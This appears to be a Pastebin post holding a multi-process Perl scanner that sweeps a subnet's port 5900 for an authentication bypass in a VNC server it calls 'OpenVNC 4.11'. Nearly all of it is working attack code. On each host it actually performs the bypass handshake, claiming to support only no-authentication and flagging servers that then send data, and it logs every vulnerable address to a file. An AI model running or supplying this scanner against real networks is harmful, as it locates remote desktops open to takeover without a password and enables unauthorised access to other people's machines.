Mitiny21

[Perl] Vnc Scan

Sep 7th, 2014
654
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 5.18 KB | None | 0 0
  1. #!/usr/bin/perl
  2. # Multi-threaded scan for OpenVNC 4.11 authentication bypass.
  3.  
  4.  
  5. use strict;  # why not?
  6. use warnings;
  7. use IO::Socket;
  8. use threads;
  9. use threads::shared;
  10. use Errno qw(EAGAIN);
  11.  
  12. # Configuration variables
  13. use constant VNC_PORT => 5900;
  14. my $splits = 5; # Creates 2^N processes.
  15. my $avg_time = 5; # Tweak this to get better time estimates.
  16. our $subnet;
  17.  
  18. our @results : shared;
  19. our $todo = 0;
  20. my $orig_thread = "yes";
  21. my $start;
  22. my $end;
  23. my $time_estimate;
  24. my $elapsed = time;
  25. my $out_file;
  26.  
  27. ++$|; # To watch as the results come in, in real time.
  28. $subnet = $ARGV[0] || ""; # Get subnet from command line, else ask for it.
  29.  
  30. while (1) {
  31.     last if $subnet =~ m/^\d{1,3}\.\d{1,3}\.\d{1,3}\.?\*?/;
  32.     print "\nWhat subnet do you want to scan? ";
  33.     chomp($subnet = <STDIN>);
  34.     print "That does not look right. Enter something like 192.168.1.*\n\n";
  35. }
  36.  
  37. # Put the subnet in the form x.y.z. so we can just concatenate the hostnum.
  38. $subnet =~ s/^(\d{1,3}\.\d{1,3}\.\d{1,3}).*/$1/;
  39. $subnet .= ".";
  40.  
  41. $out_file = "VNC_" . $subnet . "txt";
  42.  
  43. # Mostly a guesstimate
  44. $time_estimate = $avg_time * (256 / (2**$splits));
  45. $time_estimate = int ($time_estimate / 60);
  46. $time_estimate += 4;
  47.  
  48. print "\nScanning subnet ${subnet}x -- this should take approximately
  49. $time_estimate minute(s).\n";
  50. print "[!] = Vulnerable, [*] = Safe, [.] = No response.\n\n";
  51.  
  52. CHECK: {
  53.     unless ($splits >= 0 && $splits <= 8) {
  54.         die "ERROR: Do not split $splits times--that makes no sense.\n";
  55.     }
  56.  
  57.     unless ($splits <= 5) {
  58.         warn "Reduce the number of splits from $splits to 5 or less if you
  59.        get memory errors.\n\n";
  60.     }
  61. }
  62.  
  63. # Ugly, but this works.
  64. DivideWork() if $splits >= 1;
  65. DivideWork() if $splits >= 2;
  66. DivideWork() if $splits >= 3;
  67. DivideWork() if $splits >= 4;
  68. DivideWork() if $splits >= 5;
  69. DivideWork() if $splits >= 6;
  70. DivideWork() if $splits >= 7;
  71. DivideWork() if $splits >= 8;
  72.  
  73. # Which IPs this thread scans.
  74. $start = $todo << (8 - $splits);
  75. $end = $start + (256 / (2**$splits)) - 1;
  76.  
  77. foreach ($start .. $end) {
  78.     Scan_VNC($_);
  79. }
  80.  
  81. wait until $?; # Wait for children to finish.
  82. exit unless $orig_thread eq "yes";
  83.  
  84. # Only the original parent thread will continue.
  85.  
  86. $elapsed = time - $elapsed;
  87. $elapsed /= 60;
  88. $elapsed = int $elapsed;
  89.  
  90. print "\n\nFinished scanning ${subnet}x in $elapsed minute(s).\n";
  91.  
  92. SaveData();
  93.  
  94. exit;
  95.  
  96. ####################################
  97.  
  98. sub DivideWork {
  99.     my $pid;
  100.  
  101.     FORK: {
  102.         $todo *= 2;
  103.         if ($pid = fork) {
  104.             # Parent
  105.             ++$todo;
  106.  
  107.         } elsif (defined $pid) {
  108.             # Child
  109.             $orig_thread = "no";
  110.  
  111.         } elsif ($! == EAGAIN) {
  112.             # Recoverable forking error.
  113.             sleep 7;
  114.             redo FORK;
  115.  
  116.         } else {
  117.             # Unable to fork.
  118.             die "Unable to fork: $!\n";
  119.  
  120.         }
  121.     }
  122. }
  123.  
  124.  
  125. sub SaveData {
  126.     my $vulns = 0;
  127.     open(FOUND, ">", $out_file) or die "Cannot open $out_file -- $!";
  128.  
  129.     foreach my $IP (1..254) {
  130.         my $record;
  131.         $record = $results[$IP];
  132.  
  133.         unless ($record =~ m/not vulnerable/io) {
  134.             ++$vulns;
  135.             print FOUND $record;
  136.         }
  137.     }
  138.  
  139.     print FOUND "\nVulnerabilites found: $vulns";
  140.     close(FOUND) or die "Cannot close $out_file -- $!";
  141.  
  142.     print "Data saved to ${out_file}\n\n";
  143. }
  144.  
  145. sub Scan_VNC {
  146.     # Scan for OpenVNC 4.11 authentication bypass.
  147.  
  148.     my $hostnum = shift;
  149.     my $host = $subnet . $hostnum;
  150.     my $sock;
  151.     my $proto_ver;
  152.     my $ignored;
  153.     my $auth_type;
  154.     my $sec_types;
  155.     my $vnc_data;
  156.  
  157.     $host or die("ERROR: no host passed to Scan_VNC.\n");
  158.  
  159.     # The host numbers .0 and .255 are reserved; ignore them.
  160.     if ($hostnum <= 0 or $hostnum >= 255) { return; }
  161.  
  162.     # Format things nicely--that crazy formula just adds spaces.
  163.     $results[$hostnum] = "$host";
  164.     $results[$hostnum] .= (" " x (4 - int(log($hostnum)/log(10)))) . " = ";
  165.  
  166.     unless ($sock = IO::Socket::INET->new(PeerAddr => $host, PeerPort => VNC_PORT, Proto => 'tcp',)) {
  167.         $results[$hostnum] .= "Not vulnerable, no response.\n";
  168.         print ".";
  169.         return;
  170.     }
  171.  
  172.     # Negotiate protocol version.
  173.     $sock->read($proto_ver, 12);
  174.     print $sock $proto_ver;
  175.  
  176.     # Get supported security types and ignore them.
  177.     $sock->read($sec_types, 1);
  178.     $sock->read($ignored, unpack('C', $sec_types));
  179.  
  180.     # Claim that we only support no authentication.
  181.     print $sock "\x01";
  182.  
  183.     # We should get "0000" back, indicating that they won't fall back to no authentication.
  184.     $sock->read($auth_type, 4);
  185.     if (unpack('I', $auth_type)) {
  186.         $results[$hostnum] .= "Not vulnerable, refused to support
  187.        authentication type.\n";
  188.         print "*";
  189.         close($sock);
  190.         return;
  191.     }
  192.  
  193.     # Client initialize.
  194.     print $sock "\x01";
  195.  
  196.     # If the server starts sending data, we're in.
  197.     $sock->read($vnc_data, 4);
  198.  
  199.     if (unpack('I', $vnc_data)) {
  200.         $results[$hostnum] .= "VULNERABLE! $proto_ver\n";
  201.         print "!";
  202.     } else {
  203.         $results[$hostnum] .= "Not vulnerable, did not send data.\n";
  204.         print "*";
  205.     }
  206.  
  207.     close($sock);
  208.     return;
  209. }
Advertisement
Add Comment
Please, Sign In to add comment